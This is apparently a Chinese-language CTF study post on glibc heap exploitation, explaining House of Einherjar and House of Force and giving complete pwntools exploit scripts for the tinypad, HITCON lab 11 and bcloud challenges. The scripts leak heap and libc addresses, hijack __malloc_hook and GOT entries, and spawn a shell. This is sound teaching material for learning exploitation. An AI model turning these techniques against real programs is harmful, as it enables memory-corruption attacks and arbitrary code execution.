house of系列

之前在堆的基础解法那里简单说了一下有关于堆的利用,从这里开始新起一章,这章主要讲一讲有关于house of的各各系列的手法与对应的libc版本。

shellphish/how2heap: A repository for learning various heap exploitation techniques. (github.com)

关于这里的手法的具体例子可以再这里查看,下面我就开启有关我对这里面的各中手法的理解与在做题时遇到的问题做一个具体的说明。

House Of Einherjar

这种利用方法与之前的方法有所不同的在于,其用到了一个之前没有过多使用,并且尽可能规避的有个chunk,

这个chunk就是我们之前有所提到的,在所有我们自行申请堆的chunk只外的有程序在malloc我们申请的一个chunk时会与这个chunk一起从程序中为我们产生的top chunk。不过在正常情况下产生的这个top chunk,并不能直接供我们使用,只是作为一个chunk的后备资源,在后面如果我们有再次malloc的时候程序可以直接从top chunk中取出对应的chunk大小,从而使我们能快速申请到对应的chunk,不必在从程序中拿取chunk。

正常情况下程序中的top chunk都有在malloc函数执行后就固定产生的大小,这个大小是固定的,如果程序申请的新的chunk的大小小于这个top chunk的大小,程序便会直接先从top chunk中分配出来使用,如果大于这个top chunk的大小则会从新向程序申请。

这里便是我们这种手法的关键所在,关于我们能从top chunk中申请到多大的chunk这个是由top chunk的size决定的, 那这样如果我们能在top chunk的前一个chunk中存在堆溢出,那我们就可以修改top chunk中的size的大小,然后再在程序的其他地方比如栈或bss数据段等地址伪造一个fake_chunk ,然后让这个伪造的chunk和之前的存在堆溢出的chunk,一同被释放,并吧我们伪造的chunk到存在堆溢出的chunk的这一段距离都当做之前fake_chunk的大小一同free进入到top chunk中(top chunk相近的chunk free掉会直接与top chunk合并),这样就能导致top chunk的大小被远远放大,导致其起始地址直接从我们伪造的chunk开始。那这样之后我们在向程序申请chunk,程序便会从我们之前伪造的chunk的地址开始申请,使得我们可以控制栈或bss的地址进行我们想要的操作。

大致的过程就是上面的内容,当重点在于如何操作下面便是这种方法的具体操作。

在这里插入图片描述

简单来说也就是这幅图的内容,

  1. 在栈或bss中(更具题目需要)构造fake_chunk

    在这里插入图片描述

    大致要像这个一样,prev_size随便,size后面要计算的可以先放放,之后的4个位置都要放的是我们构造的fake_chunk的头地址,

  2. 计算fake_chunk的size和靠近top chunk的chunk(下面叫chunk_b)的prev_size 大小(这两个大小相同),并修改chunk_b的size的最后一位为0

    这里为了让从fake_chunk到我们的top chunk的内容都能被程序放入到top chunk中,就要把从fake_chunk到chunk_b的距离计算出来然后放入fake_chunk的size和chunk_b的prev_size位置。

    距离=chunk_b的头地址-fake_chunk头地址

    在这里插入图片描述

    这里要用小的地址-大的地址,得到的才是正确的地址,最后的结果要想上面的一样。

  3. free掉chunk_b

    将chunk_b释放之后,由于我们修改了chunk_b的size 和prev_size的大小,使得程序将它free后会仍为从这个chunk到我们伪造的chunk都是free_chunk,从而使程序开启chunk的合并机制。并导致从我们的fake_chunk开始的头地址被当做top chunk的头地址,然后便可以在下一次malloc时,就从我们fake_chunk的头地址开始分配,从而达到我们控制栈或bss段的地址。

以上便是这个手法的利用,相对来说是一个比较攻击力大的手法,在ctfwiki上有一题,一会可以供我们分析一下。

2016 Seccon tinypad

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
io = process("./tinypad")
context.log_level = 'debug'
#


def add_1(size,context):
io.sendlineafter("(CMD)>>> ", b"A")
io.sendlineafter("(SIZE)>>> ", str(size))
io.sendlineafter("(CONTENT)>>> ", context)


def free_2(index):
io.sendlineafter("(CMD)>>> ", b"D")
io.sendlineafter("(INDEX)>>> ", str(index))

def edit_3(index,content):
io.sendlineafter("(CMD)>>> ", b"E")
io.sendlineafter("(INDEX)>>> ", str(index))
io.sendlineafter("(CONTENT)>>> ", content)
io.sendlineafter("(Y/n)>>> ", b"Y")

payload=b'AAAAAAAAAAAAA'


add_1(0x60,payload)
add_1(0x60,payload)
add_1(0xf0,payload)
add_1(0x80,payload)



free_2(2)
free_2(1)
free_2(3)


io.recvuntil(b'NDEX: 1\n # CONTENT: ')
heap_addr = u64(io.recv(4).ljust(8,b'\x00'))

print("heap_addr: ",hex(heap_addr))

io.recvuntil(b'NDEX: 3\n # CONTENT: ')
libc_addr=u64(io.recv(6).ljust(8,b'\x00'))

print("libc_addr: ",hex(libc_addr))

base_libc=libc_addr-0x3c3b78
print("base_libc: ",hex(base_libc))

malloc_hook=libc_addr-88-16
print("malloc_hook: ",hex(malloc_hook))



add_1(0xf0, b'A'*0x10)
payload=p64(0)+p64(0xd0)+p64(heap_addr-0x60)+p64(heap_addr-0x60)
add_1(0x60,payload)
add_1(0x68,b'A'*0x60+p64(0xd0))



free_2(1)
free_2(3)



payload=b'A'*0x50+p64(0)+p64(0x71)+p64(malloc_hook-0x23)
add_1(0x90, payload)

free_2(1)

add_1(0x60,b'F'*0x10)

one=[0x4525a,0xef9f4,0xf0897]
one_gadget=one[1]+base_libc
print('one_gadget: ',hex(one_gadget))

#gdb.attach(io,'b *0x400B55')
#pause()

add_1(0x60,b'G'*0x13+p64(one_gadget))

free_2(2)

io.sendlineafter("(CMD)>>> ", b"A")
io.sendlineafter("(SIZE)>>> ", str(45))


io.interactive()

House Of Force

这种方法对于堆的利用相对来说过程是比较简单的一种,不过由于程序的条件实行条件比较苛刻,故利用的地方不算特别多,并且这种手法的使用相对来说也有一定复杂的地方,故这种手法具体将通过题目来进行详解。

这种手法简单来说就是,通过堆溢出,修改top chunk的size的值为0xffffffffffffffff/0xffffffff(64位或32位的-1)

然后将可以向程序申请一个很大很大的chunk,由于top chunk被我们修改为这个在程序中被认为是无限大的数字,所以我们的申请一定会被满足,而对于超出程序中原本top chunk的大小的内容,程序便会从其他地方拿却使用,故这里我们便可以直接申请一个到我们目标地址的chunk,然后就可以对这个地址进行修改和输入数据,由于我们的申请的内容一定是从程序中去申请而不向内核申请(top chunk的大小被我们修改为程序的最大值),故我们甚至可以直接申请到栈或bss等其他地址。从而满足我们后门的操作。

这个手法的利用相对来说比较简单,当条件比较苛刻

  • 首先,需要存在漏洞使得用户能够控制 top chunk 的 size 域。
  • 其次,需要用户能自由控制 malloc 的分配大小
  • 第三,分配的次数不能受限制

只有能满足这3点才算能使用这种手法的题目。

HITCON training lab 11

这道题是ctfwiki上的题目相对来说是一到,比较简单的题目,

他的漏洞在于第3个选项时,用于修改堆的内容的函数。这里我们看下面的从18到21行,可以看出来,这里对于我们需要新输入到程序中的内容的大小,是由我们自行输入的,并且对大小并没有一个是非的检查,这里存在一个堆溢出的漏洞,我们可以先输入一个巨大的数字从而形成堆溢出,

image-20240726132607140

再看其他的函数就是正常的一个show函数,一个malloc函数,一个change函数,一个free函数,整个程序的漏洞就在于我们刚刚说的堆溢出,并且这里有关于堆的大小申请是由我们自行输入决定的。并且在程序中还存在一个后门函数,于是我们的重点就在于如果使程序能够跳转执行我们的后门函数。

image-20240726135153267

这里回到主函数中就会有所发现,这个当我们选择5时,程序便会执行v4[1],而这个v4就是程序在一开始申请的第一个chunk的指针,故这里我们可以像是否能修改第一个chunk的内容为我们后门函数的地址然后执行5选项,那目的就打成了。

现在我们的目标就是如果拿到第一个chunk_v4的控制权。结合之前的堆溢出漏洞,其实这里可以使用unlink的方法,不过既然我们已经学了House Of Force的手法,那这里就使用一下这种方法。

这里的思路简单讲一下就是

  1. 先申请一个chunk(这里大小不限选0x30)

  2. 通过堆溢出修改top chunk的size为0xffffffffffffffff

  3. 计算从top chunk的头地址到到我们需要的chunk的头的地址的距离大小

    image-20240726140906823

    这里为0x20+0x40

  4. 使用 house of force 技巧,我们需要绕过 request2size(req) 宏,这里由于 -0x60 是16字节对齐的,所以只要减去 SIZE_SZ 和 MALLOC_ALIGN_MASK 大小即可得出需要 malloc 的大小,然后我们再次分配就能分配到 chunk_v4处。

    故这里的真实要申请地址为

    1
    2
    offset_to_heap_base = -(0x40 + 0x20)//到chunk的距离
    malloc_size = offset_to_heap_base -0x17

    关于这个0x17的值,准确来说可以是0x8~0x17中的任意一个数字就可以

  5. 在决定这个数字后向程序申请这个大小的chunk(就是要负数),便可以将chunk_v4包裹其中

  6. 在申请一个chunk输入后门函数的地址,然后执行5,变调用后门函数

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
io=process('./bbb')
context.log_level = 'debug'


def add_2(size,content):
io.sendlineafter('choice:',b'2')
io.sendlineafter('item name:',str(size))
io.sendafter('name of item:',content)

def show_1():
io.sendlineafter('choice:',b'1')

def change_3(item,size,content):
io.sendlineafter('choice:',b'3')
io.sendlineafter('index of item:',str(item))
io.sendlineafter('of item name:',str(size))
io.sendafter('name of the item:',content)

def free_4(item):
io.sendlineafter('choice:',b'4')
io.sendlineafter('index of item:',str(item))

magic =0x400D49


add_2(0x30,b'A'*4)

payload=b'A'*0x30+b'a'*8+p64(0xffffffffffffffff)

#gdb.attach(io,'b *0x0400E7D')
#pause()

change_3(0,0x40,payload)

offset_to_heap_base = -(0x40 + 0x20)
#malloc_size = offset_to_heap_base - 0x8 - 0xf(0x8~0x17)
malloc_size = offset_to_heap_base -0x17

add_2(malloc_size,b'dada')

add_2(0x10,p64(magic)+p64(magic))

io.sendline(b'5')
io.interactive()
#2.27

关于这道题的重点在于修改top chunk的堆的申请,一定要注意是距离的负数-0x8,申请这个之后的在申请的就是我们要的目标地址。

2016 BCTF bcloud

这道题相对来说就是上一道题的翻版,不过这道题的难点在于对程序中的漏洞的修找,这里我就是在寻找漏洞的时候出了一定的问题,导致一开始做的时候并没有做出来,后面看了一下别人的分析+自己在仔细调试才把这道题的问题完整明白。看来对C语言的理解和汇编的理解还是有点差了,之后要找时间再重新学一下。

利用步骤如下:

  • 1.通过名字leak堆地址
  • 2.通过host and org 改大top_chunk->size
  • 3.移动top_chunk
    • 让再申请的内存在覆盖到bss段中 list_len 和noet位置的内存
    • 让noet指向函数的got表
  • 4.把free改成printf
  • 5.利用 假free 函数把atoi地址printf出来
  • 6.利用 atoi 得到system地址
  • 7.把atoi改成system
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
io = process('./bcloud')
context.log_level = 'debug'


elf=ELF('./bcloud')
libc = ELF("/home/wzg/tools/glibc_all_in_one/glibc-all-in-one/libs/2.23-0ubuntu11.3_i386/libc-2.23.so")


#通过名字leak堆地址
payload=b'a'*0x3c+b'zzzz'
io.sendafter('Input your name:',payload)
io.recvuntil('zzzz') #足够0x40不要加\n
heap_addr=u32(io.recv(4))-8
print('heap_addr: ',hex(heap_addr))

#修改top chunk的size为0xffffffff
io.recvuntil('Org:\n')
io.send('a'*0x40)
io.recvline('Host:')
io.sendline(p32(0xffffffff))

def add(size,content):
io.sendline('1')
io.sendline(size)
io.sendline(content)


# 移动top_chunk
list_len= 0x804B0A0
note=0x804B120
atoi=elf.got['atoi']
free=elf.got['free']

size=heap_addr+3*0x48-list_len+0x17

add('-'+str(size),'junk') #当前操作是把top_chunk上移

#下一个chunk->fd将是list_len地址
size=note-list_len+4*10 #这个size可以改list_len及note
payload=p32(4)*3+p32(0)*29#这里最后要用到最后一个地址,现在预留出来3个p32的地址
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
add(str(size),payload) #id=1

#free函数的地址改成printf函数
printf=elf.plt['printf']
io.sendline('3')
io.sendline('1')
io.send(p32(printf))
io.recvuntil('Edit success.\n')

#利用 假free 函数把atoi地址printf出来
io.sendline('4')
io.recvuntil('Input the id:\n')
io.sendline('0')
atoi_addr=u32(io.recv(4))
success('2.atoi addr = '+hex(atoi_addr))
io.recvuntil('Delete success.\n')

#利用 atoi_addr 得到system地址
base_libc= atoi_addr-libc.symbols['atoi']
print('base_libc: ',hex(base_libc))
system =libc.symbols['system']+base_libc
print('system: ',hex(system))

#把atoi改成system
io.sendline('3')
io.sendline('2')
io.send(p32(system))
io.recvuntil('option--->>\n')
io.recvuntil('option--->>\n')

#get shell
io.sendline('/bin/sh\x00')
io.interactive()